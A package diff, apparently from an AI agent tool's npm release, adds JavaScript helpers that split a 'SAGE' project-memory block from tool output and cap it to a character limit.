//# sourceMappingURL=index.d.ts.map
|
package/dist/utils/index.js
CHANGED
|
@@ -5396,6 +5396,49 @@ function assertSafeWin32CmdArgs(args) {
|
|
|
5396
5396
|
function quoteWin32CmdArg(arg) {
|
|
5397
5397
|
return `"${arg}"`;
|
|
5398
5398
|
}
|
|
5399
|
+
|
|
5400
|
+
// src/utils/sage-output-block.ts
|
|
5401
|
+
var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
|
|
5402
|
+
"--- SAGE: task-aware project knowledge (Memory Injector) ---",
|
|
5403
|
+
"--- SAGE: related project knowledge (Memory Injector) ---"
|
|
5404
|
+
]);
|
|
5405
|
+
var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
|
|
5406
|
+
var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
|
|
5407
|
+
function splitSageOutputBlock(output) {
|
|
5408
|
+
if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
|
|
5409
|
+
const lines = output.split("\n");
|
|
5410
|
+
for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
|
|
5411
|
+
if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
|
|
5412
|
+
const candidate = lines.slice(sageIdx);
|
|
5413
|
+
if (candidate.length < 2) continue;
|
|
5414
|
+
const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
|
|
5415
|
+
if (memoryLines.length === 0) continue;
|
|
5416
|
+
const bodyOk = memoryLines.every(
|
|
5417
|
+
(line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
|
|
5418
|
+
);
|
|
5419
|
+
if (!bodyOk) continue;
|
|
5420
|
+
let end = candidate.length;
|
|
5421
|
+
while (end > 1 && candidate[end - 1].trim().length === 0) end--;
|
|
5422
|
+
return {
|
|
5423
|
+
body: lines.slice(0, sageIdx).join("\n").trimEnd(),
|
|
5424
|
+
sageLines: candidate.slice(0, end)
|
|
5425
|
+
};
|
|
5426
|
+
}
|
|
5427
|
+
return { body: output, sageLines: [] };
|
|
5428
|
+
}
|
|
5429
|
+
function capSageLines(sageLines, maxChars) {
|
|
5430
|
+
if (sageLines.length < 2) return [];
|
|
5431
|
+
const header = sageLines[0];
|
|
5432
|
+
if (header.length >= maxChars) return [];
|
|
5433
|
+
const out = [header];
|
|
5434
|
+
let used = header.length;
|
|
5435
|
+
for (const line of sageLines.slice(1)) {
|
|
5436
|
+
if (used + 1 + line.length > maxChars) break;
|
|
5437
|
+
out.push(line);
|
|
5438
|
+
used += 1 + line.length;
|
|
5439
|
+
}
|
|
5440
|
+
return out.length > 1 ? out : [];
|
|
5441
|
+
}
|
|
5399
5442
|
export {
|
|
5400
5443
|
ALLOWED_IMAGE_MEDIA_TYPES,
|
|
5401
5444
|
COMPLETED_WORK_LEDGER_MARKER,
|
|
@@ -5412,6 +5455,7 @@ export {
|
|
|
5412
5455
|
PROJECT_IDENTITY_RELATIVE_PATH,
|
|
5413
5456
|
PROJECT_IDENTITY_VERSION,
|
|
5414
5457
|
PROJECT_ID_PREFIX,
|
|
5458
|
+
SAGE_INJECTOR_HEADINGS,
|
|
5415
5459
|
SageCachePragmas,
|
|
5416
5460
|
TerminalLifecycle,
|
|
5417
5461
|
WIRE_TOOL_NAME_MAX_LENGTH,
|
|
@@ -5435,6 +5479,7 @@ export {
|
|
|
5435
5479
|
buildUserContentBlocks,
|
|
5436
5480
|
buildWin32CmdShimInvocation,
|
|
5437
5481
|
canonicalProjectRoot,
|
|
5482
|
+
capSageLines,
|
|
5438
5483
|
checkConnectivity,
|
|
5439
5484
|
checkUnixSocketPath,
|
|
5440
5485
|
coerceAgainstSchema,
|
|
@@ -5562,6 +5607,7 @@ export {
|
|
|
5562
5607
|
simplifyToolDescription,
|
|
5563
5608
|
sleep,
|
|
5564
5609
|
slugify2 as slugify,
|
|
5610
|
+
splitSageOutputBlock,
|
|
5565
5611
|
sqliteCachePragmas,
|
|
5566
5612
|
startHeapWatchdog,
|
|
5567
5613
|
startSharedHeapWatchdog,
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
// src/utils/sage-output-block.ts
|
|
2
|
+
var SAGE_INJECTOR_HEADINGS = /* @__PURE__ */ new Set([
|
|
3
|
+
"--- SAGE: task-aware project knowledge (Memory Injector) ---",
|
|
4
|
+
"--- SAGE: related project knowledge (Memory Injector) ---"
|
|
5
|
+
]);
|
|
6
|
+
var SAGE_MEMORY_LINE = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*<\/memory>(?: .*)?$/;
|
|
7
|
+
var SAGE_MEMORY_LINE_TRUNCATED = /^- \[[^\]]+\](?:\[[^\]]+\])* <memory id="[^"]+">.*…$/;
|
|
8
|
+
function splitSageOutputBlock(output) {
|
|
9
|
+
if (!output.includes("--- SAGE: ")) return { body: output, sageLines: [] };
|
|
10
|
+
const lines = output.split("\n");
|
|
11
|
+
for (let sageIdx = lines.length - 1; sageIdx >= 0; sageIdx--) {
|
|
12
|
+
if (!SAGE_INJECTOR_HEADINGS.has(lines[sageIdx] ?? "")) continue;
|
|
13
|
+
const candidate = lines.slice(sageIdx);
|
|
14
|
+
if (candidate.length < 2) continue;
|
|
15
|
+
const memoryLines = candidate.slice(1).filter((line) => line.trim().length > 0);
|
|
16
|
+
if (memoryLines.length === 0) continue;
|
|
17
|
+
const bodyOk = memoryLines.every(
|
|
18
|
+
(line, index) => SAGE_MEMORY_LINE.test(line) || index === memoryLines.length - 1 && SAGE_MEMORY_LINE_TRUNCATED.test(line)
|
|
19
|
+
);
|
|
20
|
+
if (!bodyOk) continue;
|
|
21
|
+
let end = candidate.length;
|
|
22
|
+
while (end > 1 && candidate[end - 1].trim().length === 0) end--;
|
|
23
|
+
return {
|
|
24
|
+
body: lines.slice(0, sageIdx).join("\n").trimEnd(),
|
|
25
|
+
sageLines: candidate.slice(0, end)
|
|
26
|
+
};
|
|
27
|
+
}
|
|
28
|
+
return { body: output, sageLines: [] };
|
|
29
|
+
}
|
|
30
|
+
function capSageLines(sageLines, maxChars) {
|
|
31
|
+
if (sageLines.length < 2) return [];
|
|
32
|
+
const header = sageLines[0];
|
|
33
|
+
if (header.length >= maxChars) return [];
|
|
34
|
+
const out = [header];
|
|
35
|
+
let used = header.length;
|
|
36
|
+
for (const line of sageLines.slice(1)) {
|
|
37
|
+
if (used + 1 + line.length > maxChars) break;
|
|
38
|
+
out.push(line);
|
|
39
|
+
used += 1 + line.length;
|
|
40
|
+
}
|
|
41
|
+
return out.length > 1 ? out : [];
|
|
42
|
+
}
|
|
43
|
+
export {
|
|
44
|
+
SAGE_INJECTOR_HEADINGS,
|
|
45
|
+
capSageLines,
|
|
46
|
+
splitSageOutputBlock
|
|
47
|
+
};
|
|
48
|
+
//# sourceMappingURL=sage-output-block.js.map
|